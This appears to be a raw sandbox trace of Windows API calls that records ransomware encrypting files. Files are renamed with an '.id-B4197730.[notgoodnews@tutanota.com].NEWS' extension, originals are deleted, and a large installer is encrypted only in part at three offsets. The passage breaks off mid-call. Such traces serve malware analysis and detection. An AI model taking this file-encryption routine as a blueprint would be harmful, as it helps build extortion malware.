SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.990] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 1 [0064.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0064.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0064.990] lstrlenW (lpString=".doc") returned 4 [0064.990] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0064.990] lstrlenW (lpString=".docx") returned 5 [0064.990] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0064.990] lstrlenW (lpString=".pdf") returned 4 [0064.990] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0064.990] lstrlenW (lpString=".xls") returned 4 [0064.990] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0064.991] lstrlenW (lpString=".xlsx") returned 5 [0064.991] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0064.991] lstrlenW (lpString=".ppt") returned 4 [0064.991] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0064.991] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0064.991] lstrlenW (lpString=".zip") returned 4 [0064.991] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0064.991] lstrlenW (lpString=".rar") returned 4 [0064.991] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0064.991] lstrlenW (lpString=".bz2") returned 4 [0064.991] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0064.991] lstrlenW (lpString=".7z") returned 3 [0064.991] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0064.991] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0064.991] lstrlenW (lpString=".dbf") returned 4 [0064.991] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0064.991] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0064.991] lstrlenW (lpString=".1cd") returned 4 [0064.991] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0064.991] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0064.991] lstrlenW (lpString=".jpg") returned 4 [0064.991] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0064.991] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0064.991] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0064.991] lstrlenW (lpString=".doc") returned 4 [0064.991] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0064.991] lstrlenW (lpString=".docx") returned 5 [0064.991] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0064.992] lstrlenW (lpString=".pdf") returned 4 [0064.992] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0064.992] lstrlenW (lpString=".xls") returned 4 [0064.992] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0064.992] lstrlenW (lpString=".xlsx") returned 5 [0064.992] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0064.992] lstrlenW (lpString=".ppt") returned 4 [0064.992] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0064.992] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0064.992] lstrlenW (lpString=".zip") returned 4 [0064.992] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0064.992] lstrlenW (lpString=".rar") returned 4 [0064.992] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0064.992] lstrlenW (lpString=".bz2") returned 4 [0064.992] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0064.992] lstrlenW (lpString=".7z") returned 3 [0064.992] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0064.992] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0064.992] lstrlenW (lpString=".dbf") returned 4 [0064.992] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0064.992] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0064.992] lstrlenW (lpString=".1cd") returned 4 [0064.992] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0064.992] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0064.992] lstrlenW (lpString=".jpg") returned 4 [0064.992] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0064.993] lstrcmpiW (lpString1=".ico", lpString2=".NEWS") returned -1 [0064.993] lstrlenW (lpString="Rotate1.ico") returned 11 [0064.993] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0064.993] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=894) returned 1 [0064.993] CloseHandle (hObject=0x330) returned 1 [0064.994] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 0x80 [0064.994] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.994] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0064.994] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.994] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.994] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0064.994] GetLastError () returned 0x0 [0064.994] ReadFile (in: hFile=0x330, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x37e, lpOverlapped=0x0) returned 1 [0064.996] WriteFile (in: hFile=0x348, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x380, lpOverlapped=0x0) returned 1 [0064.997] ReadFile (in: hFile=0x330, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0064.997] WriteFile (in: hFile=0x348, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xea, lpOverlapped=0x0) returned 1 [0064.997] SetEndOfFile (hFile=0x348) returned 1 [0064.998] CloseHandle (hObject=0x348) returned 1 [0064.999] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.999] SetEndOfFile (hFile=0x330) returned 1 [0065.000] CloseHandle (hObject=0x330) returned 1 [0065.000] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0065.001] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 1 [0065.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0065.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0065.001] lstrlenW (lpString=".doc") returned 4 [0065.001] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0065.001] lstrlenW (lpString=".docx") returned 5 [0065.001] lstrcmpiW (lpString1=".docx", lpString2="1.ico") returned -1 [0065.001] lstrlenW (lpString=".pdf") returned 4 [0065.001] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0065.001] lstrlenW (lpString=".xls") returned 4 [0065.001] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0065.001] lstrlenW (lpString=".xlsx") returned 5 [0065.001] lstrcmpiW (lpString1=".xlsx", lpString2="1.ico") returned -1 [0065.001] lstrlenW (lpString=".ppt") returned 4 [0065.002] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0065.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0065.002] lstrlenW (lpString=".zip") returned 4 [0065.002] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0065.002] lstrlenW (lpString=".rar") returned 4 [0065.002] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0065.002] lstrlenW (lpString=".bz2") returned 4 [0065.002] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0065.002] lstrlenW (lpString=".7z") returned 3 [0065.002] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0065.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0065.002] lstrlenW (lpString=".dbf") returned 4 [0065.002] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0065.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0065.002] lstrlenW (lpString=".1cd") returned 4 [0065.002] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0065.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0065.002] lstrlenW (lpString=".jpg") returned 4 [0065.002] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0065.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0065.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0065.002] lstrlenW (lpString=".doc") returned 4 [0065.002] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0065.002] lstrlenW (lpString=".docx") returned 5 [0065.002] lstrcmpiW (lpString1=".docx", lpString2="1.ico") returned -1 [0065.002] lstrlenW (lpString=".pdf") returned 4 [0065.002] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0065.003] lstrlenW (lpString=".xls") returned 4 [0065.003] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0065.003] lstrlenW (lpString=".xlsx") returned 5 [0065.003] lstrcmpiW (lpString1=".xlsx", lpString2="1.ico") returned -1 [0065.003] lstrlenW (lpString=".ppt") returned 4 [0065.003] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0065.003] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0065.003] lstrlenW (lpString=".zip") returned 4 [0065.003] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0065.003] lstrlenW (lpString=".rar") returned 4 [0065.003] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0065.003] lstrlenW (lpString=".bz2") returned 4 [0065.003] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0065.003] lstrlenW (lpString=".7z") returned 3 [0065.003] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0065.003] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0065.003] lstrlenW (lpString=".dbf") returned 4 [0065.003] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0065.003] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0065.003] lstrlenW (lpString=".1cd") returned 4 [0065.003] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0065.003] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0065.003] lstrlenW (lpString=".jpg") returned 4 [0065.003] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0065.004] lstrcmpiW (lpString1=".ico", lpString2=".NEWS") returned -1 [0065.004] lstrlenW (lpString="Rotate2.ico") returned 11 [0065.004] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0065.004] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=894) returned 1 [0065.004] CloseHandle (hObject=0x330) returned 1 [0065.004] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 0x80 [0065.004] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.004] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0065.005] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.005] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.005] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0065.005] GetLastError () returned 0x0 [0065.005] ReadFile (in: hFile=0x330, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x37e, lpOverlapped=0x0) returned 1 [0065.527] WriteFile (in: hFile=0x348, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x380, lpOverlapped=0x0) returned 1 [0065.528] ReadFile (in: hFile=0x330, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0065.528] WriteFile (in: hFile=0x348, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xea, lpOverlapped=0x0) returned 1 [0065.528] SetEndOfFile (hFile=0x348) returned 1 [0065.529] CloseHandle (hObject=0x348) returned 1 [0065.530] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.530] SetEndOfFile (hFile=0x330) returned 1 [0065.530] CloseHandle (hObject=0x330) returned 1 [0065.530] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0065.531] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 1 [0065.531] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0065.531] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0065.531] lstrlenW (lpString=".doc") returned 4 [0065.531] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0065.531] lstrlenW (lpString=".docx") returned 5 [0065.531] lstrcmpiW (lpString1=".docx", lpString2="2.ico") returned -1 [0065.531] lstrlenW (lpString=".pdf") returned 4 [0065.531] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0065.531] lstrlenW (lpString=".xls") returned 4 [0065.531] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0065.531] lstrlenW (lpString=".xlsx") returned 5 [0065.531] lstrcmpiW (lpString1=".xlsx", lpString2="2.ico") returned -1 [0065.531] lstrlenW (lpString=".ppt") returned 4 [0065.531] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0065.531] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0065.532] lstrlenW (lpString=".zip") returned 4 [0065.532] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0065.532] lstrlenW (lpString=".rar") returned 4 [0065.532] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0065.532] lstrlenW (lpString=".bz2") returned 4 [0065.532] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0065.532] lstrlenW (lpString=".7z") returned 3 [0065.532] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0065.532] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0065.532] lstrlenW (lpString=".dbf") returned 4 [0065.532] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0065.532] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0065.532] lstrlenW (lpString=".1cd") returned 4 [0065.532] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0065.532] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0065.532] lstrlenW (lpString=".jpg") returned 4 [0065.532] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0065.532] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0065.532] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0065.532] lstrlenW (lpString=".doc") returned 4 [0065.532] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0065.532] lstrlenW (lpString=".docx") returned 5 [0065.532] lstrcmpiW (lpString1=".docx", lpString2="2.ico") returned -1 [0065.532] lstrlenW (lpString=".pdf") returned 4 [0065.532] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0065.532] lstrlenW (lpString=".xls") returned 4 [0065.532] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0065.532] lstrlenW (lpString=".xlsx") returned 5 [0065.532] lstrcmpiW (lpString1=".xlsx", lpString2="2.ico") returned -1 [0065.532] lstrlenW (lpString=".ppt") returned 4 [0065.532] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0065.532] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0065.532] lstrlenW (lpString=".zip") returned 4 [0065.532] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0065.533] lstrlenW (lpString=".rar") returned 4 [0065.533] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0065.533] lstrlenW (lpString=".bz2") returned 4 [0065.533] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0065.533] lstrlenW (lpString=".7z") returned 3 [0065.533] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0065.533] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0065.533] lstrlenW (lpString=".dbf") returned 4 [0065.533] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0065.533] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0065.533] lstrlenW (lpString=".1cd") returned 4 [0065.533] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0065.533] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0065.533] lstrlenW (lpString=".jpg") returned 4 [0065.533] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0065.533] lstrcmpiW (lpString1=".msi", lpString2=".NEWS") returned -1 [0065.533] lstrlenW (lpString="netfx_Core_x64.msi") returned 18 [0065.533] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0065.534] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=1901056) returned 1 [0065.534] CloseHandle (hObject=0x330) returned 1 [0065.534] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi")) returned 0x80 [0065.534] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.534] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[notgoodnews@tutanota.com].news")) returned 1 [0065.536] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0065.536] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc64 | out: lpNewFilePointer=0x0) returned 1 [0065.536] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc24 | out: lpNewFilePointer=0x0) returned 1 [0065.536] ReadFile (in: hFile=0x330, lpBuffer=0x35f1058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2adfc30, lpOverlapped=0x0 | out: lpBuffer=0x35f1058*, lpNumberOfBytesRead=0x2adfc30*=0x40000, lpOverlapped=0x0) returned 1 [0065.541] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc24 | out: lpNewFilePointer=0x0) returned 1 [0065.542] ReadFile (in: hFile=0x330, lpBuffer=0x3631058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2adfc30, lpOverlapped=0x0 | out: lpBuffer=0x3631058*, lpNumberOfBytesRead=0x2adfc30*=0x40000, lpOverlapped=0x0) returned 1 [0065.545] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2adfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.545] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x190200, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc24 | out: lpNewFilePointer=0x0) returned 1 [0065.545] ReadFile (in: hFile=0x330, lpBuffer=0x3671058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2adfc30, lpOverlapped=0x0 | out: lpBuffer=0x3671058*, lpNumberOfBytesRead=0x2adfc30*=0x40000, lpOverlapped=0x0) returned 1 [0065.564] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.564] WriteFile (in: hFile=0x330, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xc0110, lpNumberOfBytesWritten=0x2adfca8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfca8*=0xc0110, lpOverlapped=0x0) returned 1 [0067.044] SetEndOfFile (hFile=0x330) returned 1 [0067.044] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x40000) returned 0x3e7ba80 [0067.050] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc74 | out: lpNewFilePointer=0x0) returned 1 [0067.050] WriteFile (in: hFile=0x330, lpBuffer=0x3e7ba80*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2adfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e7ba80*, lpNumberOfBytesWritten=0x2adfc80*=0x40000, lpOverlapped=0x0) returned 1 [0067.051] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc74 | out: lpNewFilePointer=0x0) returned 1 [0067.051] WriteFile (in: hFile=0x330, lpBuffer=0x3e7ba80*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2adfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e7ba80*, lpNumberOfBytesWritten=0x2adfc80*=0x40000, lpOverlapped=0x0) returned 1 [0067.054] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x190200, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc74 | out: lpNewFilePointer=0x0) returned 1 [0067.054] WriteFile (in: hFile=0x330, lpBuffer=0x3e7ba80*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2adfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e7ba80*, lpNumberOfBytesWritten=0x2adfc80*=0x40000, lpOverlapped=0x0) returned 1 [0067.057] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba80 | out: hHeap=0x490000) returned 1 [0067.057] CloseHandle (hObject=0x330) returned 1 [0068.467] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0068.468] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0068.468] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0068.468] lstrlenW (lpString=".doc") returned 4 [0068.468] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0068.468] lstrlenW (lpString=".docx") returned 5 [0068.468] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0068.468] lstrlenW (lpString=".pdf") returned 4 [0068.468] lstrcmpiW 